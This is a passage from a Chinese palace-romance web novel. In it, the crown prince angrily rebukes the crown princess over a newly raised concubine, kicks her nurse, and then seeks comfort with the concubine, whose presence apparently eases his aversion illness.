像是要证明什么似的。
平时当差本就够勤勉的太子爷,接下来的一整天更是醉心公事废寝忘食。
可怜翰林院的几个编修。
明明早过了下值的点儿了,奈何太子爷瞧着丝毫没有要下值的意思。
他们也只能继续埋头苦干。
最后还是海顺看天色实在晚了,几位编修大人也颇为筋疲力竭,于是大着胆子劝太子殿下该下值了。
太子才终于从公事中抽离。
然后看了看时辰,起身撂下一句“诸位今日辛苦”后离开了仁安殿。
几位编修如释重负,随即对个眼神。
还愣着干嘛?
回家啊!
晚膳过后。
想着太子昨晚就是临时起意去了后院,宋昭训昨晚又把这位爷伺候得那么好。
海顺便忍不住猜测。
太子今晚是不是也要往宋昭训屋里去。
毕竟年纪在那儿摆着,血气方刚的。
刚开始食髓知味也正常。
抱着这样的想法,海顺不由得比平时更加仔细地留意起了太子的动向。
然而一等,太子去书房练字了。
二等,太子开始看书了。
三等,太子沐浴完上榻了。
好吧。
太子今晚不去后院。
海顺彻底打消了猜测,也觉得自己真是想多了。
别人可能不清楚他们家殿下是个什么样的人,他难道还不清楚吗?
就他们家殿下在男女之事上的心思,怕是寺里的和尚都没他正经寡淡。
他怎么会觉得这位爷会对那事儿食髓知味呢,这简直就是对殿下的亵渎!
侮辱!
伺候好太子爷歇下,到外间守夜的海总管迅速自省了一番,同时心里对他们家殿下的敬意又增了三分。
殊不知他心里比和尚还正经寡淡的太子殿下,正陷入了天人交战之中。
骆峋自诩不是重欲好色之辈,今日一整天也没起过什么不该有的念头。
就连刚刚,他心里想的都是正事。
可不知怎么。
置身于昏暗夜色中,感受着周遭恍若无人之境的寂静,骆峋的脑海中无端便不受控制地闪过了一片白。
绵软纤细,玲珑有致。
藤蔓般死死勾缠着他,包容着他。
耳边仿佛萦绕着她似哭非哭的娇啼。
安静的帐中,蓦然加重的呼吸格外明显。
意识到自己想了什么,骆峋闭上眼深深吐出一口气,硬是无视身子的急剧变化翻个身强行酝酿睡意。
可惜他越是压制,帐中的空气越变得黏腻。
明明最厌恶的。
此时此刻他却那么想。
想小昭训。
想她明明都哭了,却还紧搂着他不放。
那副全身心依赖般把自己交给他的姿态,就像是她和他有过无数次似的。
想她分明难受成那样了,却还不忘规矩,坚持挺着不适的身子要送他。
他知道,她那番行径可能是出于对他身份的敬畏,可能是装出来的。
骆峋睁眼。
夜风顺着窗户缝隙挤进来。
墙角的烛光一阵跳动,将熄未熄。
最终风平,灯烛静静燃烧。
.
太子本就鲜少涉足后院,所以即便今晚没来,众人也没觉得奇怪,反倒有种“这才对”的理所当然感。
一夜好梦。
早睡早起的槛儿次日容光焕发,去嘉荣堂时还被曹良媛明夸暗讽了一通。
大致意思便是太子没来后院,她倒过得舒坦,暗指槛儿不想伺候太子。
槛儿心想,太子来不来后院又不是她能决定的。
如果她每天都将所有心思放在太子身上,他不去她屋里她便黯然伤神。
那她怕是要命不久矣了。
当然。
这些心思槛儿当着瑛姑姑的面都没有表现出来,自然更不会在人前显露。
她随便寻了个理由,把话给岔过去了。
但曹良媛并没有就此罢休。
谁叫槛儿第一次侍寝就得了太子的赏,赏赐不但是海顺送过去的。
曹良媛没在人前表现出她对这件事的看法,但心里终归还是忍不住酸。
就像是吃了颗青橘子。
所以今儿整个请安过程中曹良媛都笑里藏刀,话里话外没少给槛儿挖坑。
对此,槛儿要么装没听懂。
要么顾左右而言他。
反正就是不接话茬。
倒叫曹良媛感觉一拳打在了棉花上,越发觉得此女有扮猪吃老虎之嫌。
郑明芷仍旧摆着看戏的姿态,同时心里也打定了主意要和太子聊聊。
省得日后槛儿脱离她的掌控。
秦昭训昨天被下了脸子,今天就彻底没搭理槛儿了,三人从嘉荣堂出来要分开时槛儿同她道别她也没应。
槛儿并没有将此放在心上。
人各有性情,很多事情强求不来。
宫里很多所谓的姐妹其实都只是利益驱使下的结盟,算不上真正的姐妹。
槛儿上辈子没有和谁抱过团,这辈子也不打算给别人任何背刺自己的机会。
东宫的侍妾平日里除了请安外,能活动的地方只有自己住的院子,和东西六院后面各带的一处小花园。
用过早膳。
槛儿见天气不错。
想着近日园里的花该是开了不少,便带上寒酥跳珠她们去了西六院后花园。
正值四月下旬。
园中草木繁茂,花团锦簇,一条溪流经亭台小榭蜿蜒而下,几条锦鲤穿梭其中,两岸奇山拱石相映成趣。
主仆几人在园子里逛了一圈,寒酥、跳珠和喜雨摘了些还带着露珠的白玉兰、栀子,打算回头做香囊用。
“你不去摘花?”
槛儿在凉亭里歇脚,轻笑着看了眼望晴。
望晴和喜雨的年岁相仿,都将将十六,相较活泼的喜雨,望晴稍显内向。
闻言她低了低头,“奴婢想在这陪您。”
槛儿的目光在她侧脸上停留片刻,笑了笑重新看向穿梭在花丛里的姑娘们。
望晴偷偷抬目。
瞥见那截儿白皙莹润的腕子上戴的两
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只金累丝嵌翡翠镯子,她绞了绞手指。
跳珠捧着一束花过来。
“主子,再过半月就是端午了,您要不给殿下送个香囊或者荷包做节礼?”
按惯例,端午太子会大赏后院,相应的后院妻妾也会给太子准备节礼。
多是香囊荷包,字画之类的。
当然,香囊荷包是不用主子们亲自缝制的,基本都是由身边的人做好,主子们最后添两针聊表心意即可。
这算是后宫妃嫔的惯用手段。
就好比吩咐膳房做吃食,临了自己到灶台前站一站,便是辛苦亲手做的了。
这种事其实陛下或太子都清楚,反正他们不会真用、真吃这些东西。
也就睁一只眼闭一只眼。
槛儿不想给太子做香囊,没意义。
不过跳珠提醒了她。
有件东西倒是可以送给太子。
等回去了,槛儿叫来小福子。
给了他一些银子,叫他跑一趟绣房取做绣品需用的一应物什。
东宫有专门的绣房。
主要负责日常中主子们的衣物修改和贴身衣物,以及一些配饰的制作。
槛儿位份不高,身边的人不能进出东宫,日常有别的需要就由绣房管着。
“主子要给殿下做香囊?还是荷包?”寒酥问。
槛儿眸光微闪:“到时就知道了。”
除了槛儿要的东西,小福子还带回了一匹靛蓝色缎子,说是绣房孝敬的。
想来是太子给槛儿赐赏的消息传了过去,绣房特意拿了这匹缎子来示好。
槛儿心安理得地收下了。
要送给太子的东西比香囊荷包这类物什大很多,制作流程也比较复杂。
接下来的一整天,槛儿都在专注于打样。
到了傍晚。
小福子来报说太子去了嘉荣堂。
每个月初一十五,以及逢十的日子,都是太子留宿嘉荣堂的日子。
今天刚好二十。
后院众所周知的事,没什么可大惊小怪,小福子自觉熄了门前的两盏宫灯。
等用了晚膳,槛儿就没再描花样了,消了食和瑛姑姑她们玩起了牌九。
这副牌九是前日下午槛儿闲来无事,叫小福子跑了库房一趟打点来的。
除了牌九,还有时下女子常玩的樗蒲、叶子牌,以及毽球、投壶、蹴鞠什么的。
都是些用来打发时间的小玩意儿,如此,无事的时候才不至于太枯燥。
与此同时。
相较于永煦院东厢房的其乐融融,嘉荣堂这边的气氛就显得沉闷多了。
随着郑明芷的话出口,留在屋里的庞嬷嬷和霜云、霜月更是噤若寒蝉。
整个堂间陷入死寂。
骆峋侧首,看向案几对面的人。
“什么?孤未听清。”
郑明芷没察觉到屋里的气氛变化,温婉笑道:“妾身是说,宋昭训原是妾身让她去服侍殿下的。
能得殿下抬举是她天大的造化,殿下大可不必将她做寻常侍妾厚待,若不然传出去没得辱没了您的名声。”
第27章 太子犯病,“殿下息怒!殿下息怒!”
庞嬷嬷怎么也没想到,主子竟是一点风声都没跟她透就跟太子说起了这事。
若早知道她要同太子说这事,庞嬷嬷就是拼了这条老命也要把人拦住!
可惜这世上没有什么早知道。
屋里静得吓人,落针可闻。
稍顷,男人低冷的声音响起。
“辱没名声,辱没孤何名声?”
郑明芷没觉得自己说得有什么不对。
见他目光平静,神态瞧着和平时一般无二,她便仍旧笑得大方得体。
“自然是辱没您的贤名。”
“妾知道殿下行事自有章法,可常言道人嘴两张皮,翻来覆去都是理。
知道的,自然知晓您行事公允,宅心仁厚,待一个低贱的奴才也这般宽厚。
但不知道的,还当您真对她这般上心呢,那不是搁您身上扔泥点子吗?
殿下英明神武,何苦为着一个奴才平白惹人揣测,让外头那起子人嚼舌根。”
她说得有鼻子有眼。
然而庞嬷嬷听完冷汗直流,旁边的霜云霜月更是白着脸几乎站不住脚。
主子糊涂啊!
殿下为储多年,难道不比她们这些门外汉清楚什么该做什么不该做吗?!
主子就算再不喜那贱蹄子,也不该一上来就指手画脚,教堂堂的储君做事啊!
这不是没事找事吗!
骆峋沉吟:“嗯,言之有理。”
郑明芷以为他这是把自己的话听进去了,心里满意,脸上的喜意更甚。
“那……”
“所以,后宫不该有宫婢出身的妃嫔,宠幸,赐赏于她们便是不贤,你是这个意思?”
郑明芷一怔。
旋即终于笑不出来了,
连连摇头解释:“不,不是的,妾身没有指摘父皇的意思,妾身是……”
“你没有指摘父皇,你是在指摘孤!”
骆峋站起来。
高大的身躯挡住了身侧大半的光。
对面跳跃的烛光落在那张冷峻的脸上,衬着那双无悲无喜的眸子仿佛隆冬时节的夜,透着森森寒意。
郑明芷被男人的影子遮挡。
想开口说什么,声音却像似被掐住了脖子的鸡,卡在了嗓子眼儿里。
扑通!扑通!
庞嬷嬷等人重重跪地。
院子里的人眨眼间也跪倒了一片。
骆峋看着郑明芷。
看着这个他明媒正娶,曾经打定主意要同她相敬如宾过一生的女人,向来古井不波的眼底闪过一抹嫌恶。
“孤给了人位份,让她侍寝,给她赐了赏,如今你张口低贱闭口奴才。
孤问你,你究竟是看不起她,还是看不起孤?还是你当真以为孤不知道你背着孤做了什么,说了什么?!”
雍容如太子。
即便是动怒也保持他端方的仪态。
可他周身的气势却如一张密不透风的网,又似一座巍峨巨峰,压得人喘不过气来。
郑明芷根本没料到太子会突然动怒。
她被吓到了。
脑子里一片空白,根本反应不过来男人话里的意思具体究竟指的什么。
庞嬷嬷却是瞬间明白过来了。
她想到了送槛儿去伺候太子那晚,自家主子对那小蹄子的羞辱和那一巴掌。
想到了海顺来传口谕,小蹄子成了昭训后太子妃口不择言恼太子的话。
顿时,庞嬷嬷汗如雨下。
顾不上去想太子怎么知道这些事的,也顾不得怀疑是不是槛儿向太子告状了。
她咬牙膝行到太子脚边。
把头磕得砰砰响。
“殿下息怒!殿下息怒!太子妃只是一时糊涂,万没有不敬殿下的意……”
话音未落。
骆峋抬腿一记窝心脚!
庞嬷嬷痛呼,竟是整个人都飞了出去。
狠狠跌到门口。
“奶娘!”
郑明芷终于回过了神,目眦欲裂地冲过去。
“奶娘,奶娘!”
骆峋这一脚是带了恼的。
也是庞嬷嬷的出声让他想起了一年前的事,想起了这老货当时的所作所为。
如果不是要顾全大局。
他只恨不得当场杀了这老货!
见自己的奶娘明明已经痛得脸色灰白,嘴角淌出大股血水,却还不忘抓着她的手让她给太子认错。
郑明芷只觉心口像是有什么爆了开。
她浑身颤抖,强忍着泪愤恨地瞪向太子。
眼底猩红一片。
“殿下今日好大的威风!我好歹是蒙圣上赐婚,是你奉皇恩祖命从大靖门抬进来的东宫太子妃!
如今我不过是不想你因为一个贱婢坏了名声,你便将莫须有的罪名扣到我头上,还迁怒于我的奶娘!
敢问殿下是要将我这个发妻的置于何地,又是要将圣命置于何地?!”
骆峋眯眸:“你要拿父皇来压孤?”
“是!”
骆峋便笑了。
是那种不带半分冷意,很畅快的笑。
风流俊朗到了极致。
郑明芷被太子的这个笑晃了一下眼。
但转念想到他为了那么一个**的奴才秧子跟她动怒,甚至打她的人,郑明芷就恨不得挠花那张脸!
骆峋看着她眼里愤愤,敛起笑缓步行到她面前,居高临下地俯视着她。
“你有什么资格跟孤谈皇恩祖命?”
郑明芷心底升起一股不详的预感。
果不其然。
下一刻。
男人的话如一把铡刀朝她落了下来。
“要孤提醒你曾经做过什么?是什么让你以为时隔一年孤会既往不咎?”
“孤的发妻有资格向孤谏言,有立场干涉孤宠谁不宠谁,你,有吗?”
郑明芷浑身一僵。
脸上肉眼可见地褪去全部血色,一片死白,哪还有方才半分的理直气壮。
霜云,霜月趴伏在地。
如瀑的汗水从两人的额角迅速滚落,很快就在地上晕开一片水渍。
庞嬷嬷原本还捂着心口喘粗气,这时候却屏住了呼吸,脸涨得发紫。
骆峋的目光从她四人身上一一掠过,最后定格在郑明芷惨白恐慌的脸上。
束发那年,
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骆峋便想过。
他无法理解父皇和其他兄弟见到个女人就要临幸的行径,做不到像他们那样,和不同的女人生一堆儿女。
他想,未来的太子妃若能与自己相敬如宾,他一生只她一人亦未尝不可。
皇祖母曾不止一次提起为他安排侍妾,都被骆峋以各式各样的理由拒了。
最后一回,也就是三年前。
皇祖母在病中还为忧心于他而频频落泪,骆峋于心不忍,第一次妥协了。
可他从小身在宫廷。
见多了红颜薄命,佳人郁郁而终。
骆峋不想因为一己之私白白耽误他人的年华,所以他请母后说服皇祖母。
往东宫安排的,都是怀有明确目的来参选的秀女,如此他今后才好交易。
彼时,同未来太子妃相伴一生的想法依旧在骆峋心里扎根,没有任何动摇。
直到成亲当晚。
他准备和他的妻子行周公之礼。
却发现躺在榻上的。
不是他的太子妃。
骆峋从来没想过,这种只可能出现在戏文里的桥段会发生在他身上。
他的妻子,竟意图李代桃僵。
让她的婢女在新婚之夜代其与他圆房!
被他发现,她哭着向他解释。
很合情合理的缘由,但骆峋没信。
他按下调查来的东西不发,等着郑氏同他说实话,只可惜实话没等到。
等来了她给他的第二次“惊喜”。
幽暗狼藉的卧房,地上的她不着寸缕宛如狗趴,两名婢女手持器具,伴随着声声污言秽语……
蓦地。
蚁噬似的恶寒从脚底迅速升起,席卷全身,骆峋背在身后的手攥成拳。
他毫不掩饰眼中的嫌恶。
睨着那张看似温婉和善的脸。
“你记住,不是孤不能废你,是孤不想废你,今后不要在孤跟前摆正妻的谱。”
“你没有资格。”
说罢,头也不回地走了。
郑明芷跪坐在地,神情恍惚。
霜云霜月膝行到她跟前。
郑明芷眼珠子动了动。
突然,她抬手给了两人几耳光。
“这么怕做什么?怕我像害死霜雪霜星那样也害死你们?还是……”
庞嬷嬷抓住她的手,艰难地摇头。
郑明芷看着她眼里的心疼和后怕,闭了闭眼,最后深深地呼出一口气。
“请医吧。”
.
嘉荣堂被远远甩在了身后,直至再也看不见,走在前面的太子忽然停了下来。
海顺把随行的宫人挥退到四丈以外,低声问:“殿下,可要现在服药?”
此处是嘉荣堂前面的一个园子,过了园子再穿过一个穿堂就是元淳宫。
园子里几座亭灯,光线并不明亮,男人高大的身形在地上拉出一道长长的影子。
骆峋下颚紧绷。
额角几滴豆大的汗珠,朦胧的光线下能看到有数粒红疹从他的侧颈冒出。
突然,一股酸水自喉间涌出。
骆峋再也压抑不住,身形一闪。
第28章 奇怪话本,太子:“用的什么香露?”
海顺知道,自家殿下定是想到一年前太子妃的那场事了,当时他也在场。
就那样的场景,别说身患癖病的太子了,便是他看了都险些当场吐出来。
甚至连着做了好几天的噩梦。
把人给恶心透了。
“殿下,漱漱口。”
海顺从腰间囊袋里取出一个巴掌大的嵌宝银壶,开了盖儿递给太子。
骆峋漱过口服了药。
被海顺搀到一旁的凉亭。
刚坐下,身后的小径上突然来了个人。
海顺眯了眯眼。
扬声问:“什么人,打哪儿来的?”
小福子刚从库房过来,手上正掂着两颗核桃耍呢,哪知抬头就看到了海顺。
旁边还坐着太子。
他差点没一个趔趄摔个狗啃屎。
没敢往近前凑。
小福子就在原地跪下给请了安,然后报出自己的来路和在此的原因。
“殿下,是永煦院的,到库房替宋昭训跑腿取东西来着,走这条路是对的。”
海顺侧身对骆峋道。
骆峋没管小福子是出来做什么的,此时的他也无心想后院哪个妾室。
但听二人提起宋昭训。
骆峋的脑海里自发地便浮现出小昭训奶白水嫩的脸,红润娇艳的唇,以及她呼吸间那股清甜诱人的香。
出乎意料的。
每次犯病都让他浑身发麻,仿若有无数只虫蛇在他身上乱窜乱啃的恶寒和呕感,有了消退的迹象。
.
“现在的话本,都是这种名儿?”
槛儿穿着寝衣盘腿坐在床榻上,面前摆着几本封皮精美的话本子。
名字分别是:
《娇美厨娘的冷王赘婿》、《在糙汉将军怀里撒个野》、《和离后,我彻底躺平了》、《咸鱼通房一路苟》。
“也不是。”
跳珠忍着笑,解释道。
“有三四五个字的,就是这两年好像挺时兴这种,小福子说库房那边的人说了,这是内务府新采买的。
据说这几本这半年卖得最好,不光妇人们爱看,很多未出阁的姑娘也没少私底下让人帮忙偷摸着买。”
说着,跳珠还挤了挤眼。
一脸神秘兮兮。
槛儿被她的样子逗笑了。
大靖对书籍的管控其实很严格,能看什么不能看什么都有明确的规定。
尤其女子。
成了婚的妇人还好,私下里稍微能看些写男女情爱的书或是话本子。
闺阁中的女儿家却是连写文雅人士和闺秀千金,正常谈情说爱的书都不能看。
否则便会被视为不端,有损家族名誉。
是要按罪论处的。
槛儿上辈子原就是循规蹈矩之人,加上太子和后来的庆昭帝威严慑人。
她怕他得紧。
所以哪怕后面她都坐到皇后的位置了,也不曾触碰过这样的话本子。
如今会有这么些话本子,还是因为刚晋位的那天下午,她闲着没事想看书。
但进了西间书房才想起。
宫里严禁非贴身伺候者及管事宫人识字,她在广储司当差那会儿都是口传心授,有专门的记忆法子。
根本用不着识字。
也就是说这辈子这时候的她,是不识字的!
所以没办法。
槛儿这几天都是让跳珠、寒酥给她读话本,听话本的同时跟着她们“认字”。
这会儿看着这些明显过于直白的名字,对话本研究不多的槛儿真心发问:“起这样的名儿没问题?没人管?”
“这种名儿一听就有伤风化,换做别人肯定管!这个仙芋居士就不一定了。”
“怎么说?”
跳珠伸出食指朝上指了指。
槛儿懂了。
上边儿有人。
跳珠压低声:“据说背景还不小呢。”
槛儿配合地面露惊讶。
刚要问她是打哪儿知道这么多的,就听小喜子火急火燎地在外间通禀。
说殿下来了。
这回槛儿是真惊了,还有些懵。
今儿二十。
太子这时候不该在嘉荣堂吗?
怎么到她这儿来了?
然而没有时间让她想这个问题了,眼见小喜子说太子已经到院里了。
槛儿赶忙下榻,迎了出去。
“殿下,”出了卧房迎面见太子步入次间,槛儿欣喜地软声唤了一声。
随即人也到了男人跟前。
但不待她行礼,跟了这人一辈子的槛儿就敏锐地察觉到太子似有些不对劲。
神情紧绷冷冽,鬓角处透着汗湿,尤其那双丹凤黑眸,直勾勾地盯着她。
眼神深得像一汪漩涡。
仿佛一个不留神就要被他吸进去。
槛儿无意识地抿了抿唇,心怦怦直跳。
脑子还没反应过来。
手跟嘴已经习惯性先有了动作。
“殿下怎生这时候过来了,路上走这么快作甚,看给您热的,都是汗。”
说着话,槛儿踮脚拿手帕给男人擦汗。
说完还不忘让望晴下去交代小桂子小满子他们备水,好让太子沐浴。
殊不知包括瑛姑姑在内的几人,早在她问出那句“殿下怎生这时候过来了”时,就被吓得魂飞魄散了。
又见她这般自来熟地动手给太子爷擦汗,说话语气也这么熟稔随意。
瑛姑姑几人心肝儿都直颤。
海顺暗中观察太子的反应。
生怕病症还没完全消退的太子爷,下一刻就把人小姑娘给扔出去了。
望晴没敢动。
忐忑地朝太子觑了一眼,再看向槛儿。
屋中一片诡异的安静。
槛儿如梦初醒,意识到自己做了什么。
她不禁暗暗扶额。
面上红着脸,假作惶恐地解释道:“殿下恕罪,妾没有别的意……”
话音未落,面前的男人冷眼扫向望晴几人,“没听到你们主子说的?”
望晴、喜雨的脸一白,忙恭敬地应了声匆匆出去让小桂子他们备水。
寒酥、跳珠也没敢杵着,忙着备茶。
海顺松了口气,小心请太子到炕上落座,同时不忘多看了槛儿一眼。
槛儿摸不准太子今晚出现在这儿的原因,见他大刀金马地坐下后就阖上了眼,显然一副不愿说话的模样。
槛儿便也很识相地没上前多话,规矩地站在太子身侧半丈外的地方。
不料才站了两息的功夫。
太子忽然看了过来,沉声道:“过来。”
槛儿左右看了看。
确定在跟她说话,她不由悄声走过去。
原以为这人叫她是有事要说,谁知他把她叫过来后就又把眼睛闭上了。
槛儿:“……”
啥情况?
槛儿扭头去看海顺。
海顺只咧着嘴笑。
“……”
所幸茶房里随时
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都烧着水,小桂子小满子没多会儿就把水抬上来了。
骆峋起身,不发一语地往浴间行去。
太子沐浴不喜人全程伺候。
海顺服侍太子净了发后便退了出来。
槛儿有意向他打听情况。
但海顺是个人精,甭管槛儿怎么拐弯抹角地探听,他硬是半个字都没透露。
槛儿不想招他起疑。
问了几句没问出什么所以然后便放弃了,兀自坐在榻前等太子出来。
有点儿像洞房前的新嫁娘。
念头刚起,槛儿就差点被自己逗笑了。
新嫁娘啊。
她跟这个身份能扯上什么关系呢。
她就没有给人做新娘的命。
乱七八糟地想了一通,太子出来了,坐到她的妆台前由海顺伺候擦发。
只不过海总管拿着巾子刚站到太子身后,便听太子开口道:“你来。”
太子有沐浴后喝一杯温水的习惯,槛儿正从寒酥手里接过那杯水。
闻言下意识扭头看去,见男人从镜子里看她,意思显然是要她给他擦发。
服侍太子拭发是侍妾的分内之事,槛儿也没耽搁,走过去把茶盏呈给太子后从海顺手中接过巾子。
太子的头发浓密顺滑,宛如最上等的缎子,比起很多姑娘家都有过不及。
槛儿拿梳子仔细将他的头发通了几遍,然后用棉布巾子细致地擦拭。
棉布巾子熏了香的。
是太子惯用的蓬莱香。
此香产自琼州府西,因香体连绵,如海上仙山而得名,取蓬莱仙境之意。
太子惯用此香除了这香的香气与他本人的气质相符外,还因他出生时天际有霞光万丈,云雾弥漫缭绕。
宛若仙境。
钦天监称此为吉兆,元隆帝大喜。
特赐此香于六皇子,即后来的太子。
从那以后,蓬莱便成了太子的专用香。
上辈子及至太子登基,他也没换用象征帝王身份的龙涎香,而是继续用蓬莱。
常年用此香的缘故,太子的呼吸和汗液都一直夹杂着这股淡雅的香气。
别问槛儿是怎么知道的。
骆峋饮着水,目光落在镜子上。
见小昭训不知为何粉面含春,长睫轻颤,他薄唇抿了抿,放下茶盏。
瓷器与木质桌案发出轻微的碰撞声。
槛儿自觉隐秘地抬眸看向镜子,不料与那双幽暗的眼睛撞了个正着。
也不知他看了多久。
手摸着男人的头发擦得差不多了,她低眼看了看,顺手想把巾子递出去。
哪知伸了手才发现。
屋里竟不知什么时候只剩了她和太子。
槛儿微窘,收回手道:“殿下,差不多快干了,妾身再拿熏笼给您烘一烘?”
骆峋不语。
只就势从凳子上转过身,中衣前襟微敞,露出一片肌理分明的结实胸膛。
槛儿收回视线。
不料下一刻被男人一掌握住了腰。
槛儿跌到他怀里。
左手撑在那片坚硬光洁的胸膛上。
骆峋按住那只小手,埋首于槛儿的颈间,温热的呼吸一寸一寸地往上游移。
仿佛野兽的逡巡轻嗅。
槛儿身子止不住颤,嗓子眼儿发紧。
“殿下……”
“嗯?”
骆峋的鼻尖在她耳后拱了拱,游移到侧颈,低声问:“用的什么香露?”
第29章 胜负心很强的太子爷
槛儿的脑子都快被他嗅成一团浆糊了,闻言怔了片刻才反应过来。
“没用香露。”
骆峋不信,“没用?”
说着话,那股残留在身上的恶寒感,因为她的触碰和身上的味道彻底消退。
取而代之的是另一种躁动。
槛儿的指尖被他胸膛上的温度灼得发颤,想收回来,偏手腕使不上劲。
只能任由他抓着。
“最近热起来了,沐浴时虽不至于大汗淋漓,但在浴间待上两刻钟也闷。
香露、香露抹在身上黏黏的,不好吸收,妾不喜那种黏腻的感觉,就没用。”
槛儿侧首避开太子的呼吸。
见她羞得脖子都染上了一层樱粉,仿佛整个人都散发着一股清甜的香。
明明该排斥。
该对这样的事拒之千里。
骆峋此时却想触碰,想要更多。
他其实不太能理解这种感觉,不过他也没多想,只当是病症的缘故。
骆峋近乎贪婪地嗅着槛儿身上的香,在她的侧颈留下一片微潮的呼吸。
槛儿只感觉整个人都要烧起来了。
紧接着她就被抱了起来。
被放到榻上,重新睁眼时。
屋中的灯不知何时灭了,只着了寝衣的男人随手放下帐子直接覆上来。
黑夜放大了人的感官。
一片朦胧中。
槛儿好似看见了男人胳膊上隆起的肌肉轮廓,宽阔结实的肩背线条。
还有那健硕精壮的胸膛和劲瘦强劲的腰腹,乃至钢筋铁骨般紧绷的腿。
属于男人雄厚的阳刚之气在这狭窄的帐中汹涌流窜,槛儿只觉晕晕乎乎。
手顺着他的肩颈往后,摸到他的背肌。
外衫早不知丢到什么地方了,蓦地一阵撕拉声,新做的寝衣无辜丧了命。
突然。
槛儿一个激灵,意识陡然清醒。
前晚遭的罪她可没忘!
顾不得羞了,槛儿娇唤了声“殿下”,然后照着上辈子他教的……
其实骆峋也不是不懂。
他少年时虽没有经人事教导,但前些年为了治病,海顺没少寻借口从内务府搜罗册子来让他看。
但尝试了几次。
病情非但没好转,反倒更严重了。
自那之后他便再没看过。
最后一回,还是莫院判终于制好了药,他为试药才强迫自己看了一回。
但也只是看了,没往心里去。
结果却是没曾想,前晚竟险些再度丢丑。
如今她又……
倒显得他多无能似的。
骆峋不满小昭训的放肆,也是存了心思想让她知道,他先前不是不懂不会!
是不想!
他一旦认真起来……
屋外。
海顺这回就没管小福子他们这些小猴崽子了。
想到自家殿下当着宋昭训的面不仅不会犯病,瞧着病症好似还有所缓解。
海顺心里就激动得恨不得当场一蹦三尺高,再绕着东宫跑上十来圈。
所以说,这人的际遇呐。
当真说不准。
要知道他们家殿下的这病都好多年了,刚开始不论男女谁都触碰不得,一碰就高热惊厥,昏迷好几天。
好在莫院判医术高明。
让太子的病有了好转,可也仅此而已。
想要根除却是不能。
结果没想到,如今竟是遇上了这么一个不会让他们家殿下不会犯病的人。
海顺想,这宋昭训但凡是个聪明的……
屋中。
连着两场罢。
等两人都恢复了,骆峋从角落里扯了卷成一团的锦被盖到槛儿身上。
槛儿把自己卷在被子里,团吧团吧。
身后传来男人一声短促的低笑,槛儿借着夜色的掩饰扭头瞪了他一眼。
太子先进了东浴间。
槛儿胡乱套上寝衣下榻。
见望晴、喜雨手脚利落地收拾着床铺,槛儿觉得回头有必要让绣房做几条小褥子,也省得每回都要全换。
一刻多钟后,槛儿从浴间出来。
太子已经穿戴整齐。
一袭天青色绣竹纹的宽袖袍子,长发松松绾成髻,用一根镶金白玉簪固定,颇有种魏晋名士的风雅。
就是那张俊脸太冷,眼神也过于淡漠。
让这份风雅大减。
如果不是亲身经历,任谁也想不到这么清冷正经的人竟会那么……咳咳。
槛儿把人送到堂屋门口。
骆峋顿了顿,转过身。
不明意味地抬手在小姑娘热乎乎的脸蛋上摸了两下,旋即才转身离去。
槛儿不解其意。
但这并不妨碍她高兴。
身心舒畅,
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槛儿今晚睡得格外快,几乎脑袋一碰到枕头就睡过去了。
殊不知外面已经掀起了一阵惊涛骇浪。
太子和太子妃闹矛盾了,还在该太子妃侍寝的日子,去了宋昭训屋里!
这个消息在太子去了槛儿屋里没多久,便相继在后院各个地方传开了。
当然。
在宫里当差,不能窥探帝踪和储君的踪迹,但在不违反宫规的情况下关注主子的动向便乃宫人的职责所在。
这也是为了避免逢上主子们心情不好的时候,有不长眼的人撞上去。
所以当时有在外当值的宫人,目睹了太子从嘉荣堂出来后去了永煦院,便在下值后将消息带给了其他人。
众人自是不敢拿东宫两位最大的主儿出来议论,可心里难免不猜测。
偶尔对个眼神。
也都能在彼此的眼里看到震惊跟诧异。
要知道太子和太子妃自成婚以来,虽不至于如胶似漆,却好歹相敬如宾。
而这一年多里。
太子也一直很给太子妃体面。
哪怕是受宠如曹良媛,平日里也都只敢暗戳戳地刺太子妃几句,明面上却是怎么也不敢真忤逆对方的。
这就是正妻和妾室的差。
规矩如此,太子也最是重规矩。
然而就是这么重规矩的太子,今儿不但同太子妃闹了矛盾,还在该留宿嘉荣堂的日子去了宋昭训屋里。
这简直惊掉了一众人的下巴。
同时大伙儿也想不明白。
宋昭训是从嘉荣堂出来的,是太子妃的人,太子既然同太子妃闹了矛盾。
为什么要去宋昭训那儿呢?
总不能太子和太子妃是为了宋昭训闹的矛盾吧,这简直就是无稽之谈。
且不提宋昭训刚晋位不久。
是个奴才出身,就说这其中的原因。
要是什么原因才能让向来寡淡守礼的太子为了一个刚晋位的,区区宫婢出身的小昭训和发妻闹矛盾呢?
金承徽想不明白。
秦昭训百思不得其解。
甚至曹良媛都没能想通其中的关节。
“他就是故意的,故意拿那贱婢来羞辱我,好让我知道我这个明媒正娶的妻子,在他心里连个奴才都不如!”
卧房里。
郑明芷靠坐在床头,笑得一脸讥讽。
第30章 太子妃:“为什么要让我像个畜生一样!”
“主子……”
庞嬷嬷服了药,但因为不放心郑明芷,便让人在拔步床内地平上铺了褥子。
“我知道。”
郑明芷看她一眼,容颜略显憔悴。
“我知道要慎言,我知道东宫是他做主,我也知道我没有资格管他的事。”
“我都知道……”
郑明芷放在锦被上的手渐渐收紧,“可我就是不甘心,我不甘心!”
如果早知道洞房那晚会被发现,如果早知道元隆帝要给她和太子赐婚。
她说什么也不会让那个死书童给自己破了身!不会放纵那片刻的欢愉!
“奶娘,我不明白……为什么要是我,为什么要让我像个畜生一样!既然要把我生成畜生,为什么不索性大家都是畜生?为什么就我……”
“别说了,主子别说了!”
庞嬷嬷哽咽道,随即起身坐到榻前将自己从小看着长大的姑娘搂进怀里。
“您不是畜生,您是人,是堂堂正正的人,世人千千万本就各有不同,你何苦来为难自己,钻这牛角尖……”
说着,庞嬷嬷说不下去了。
她家主子是家里最小的姑娘,打小也算是被家里千娇百宠着长大的。
也因为家里宠得厉害。
渐渐就养成了大面上无可挑剔,私下里却多少有些骄纵蛮横的性子。
这其实不是什么大毛病,姑娘家就是得有些性子才不至于在人前吃亏。
可坏就坏在。
上一代国公爷。
也就是她家姑娘的祖父,郑家老太爷。
郑家老太爷患有一种离了女人便活不了的病,这病委实上不了台面,这件事这么多年也一直是郑家的秘辛。
不过,当下男子时兴三妻四妾,老太爷的这病真说起来也算不得什么大事。
左不过日常吃些调养的药。
后院再多几个女人的事。
可关键在于,这病它传人!
传给子孙后代!
尤其它不凑巧,现任国公爷跟其他几位老爷,以及家里的哥儿姐儿都没传。
偏传给了她家姑娘!
天菩萨。
一个姑娘家,有了这么一个病。
偏偏家里老爷和夫人还都想让郑家成为皇亲,甚至不惜冒着欺君的风险都要让她家姑娘过了验身那关。
嫁进东宫!
结果呢?
